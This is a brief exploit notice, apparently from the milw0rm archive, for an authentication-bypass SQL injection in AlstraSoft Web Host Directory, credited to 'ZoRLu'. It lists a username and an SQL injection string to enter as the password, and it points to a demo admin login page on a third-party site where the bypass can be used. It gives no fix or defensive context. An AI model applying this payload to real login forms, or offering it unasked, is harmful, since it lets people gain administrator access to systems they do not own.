AlstraSoft Web Host Directory (Auth Bypass) SQL Injection Vuln

AlstraSoft Web Host Directory (Auth Bypass) SQL Injection Vuln

link: http://www.milw0rm.com/exploits/7103

Discovered By: ZoRLu

Exploit:

username: ZoRLu

password: ' or ' 1=1--


admin login for demo:

http://www.hyperstop.com/demo/webhost/

username: ZoRLu

password: ' or ' 1=1--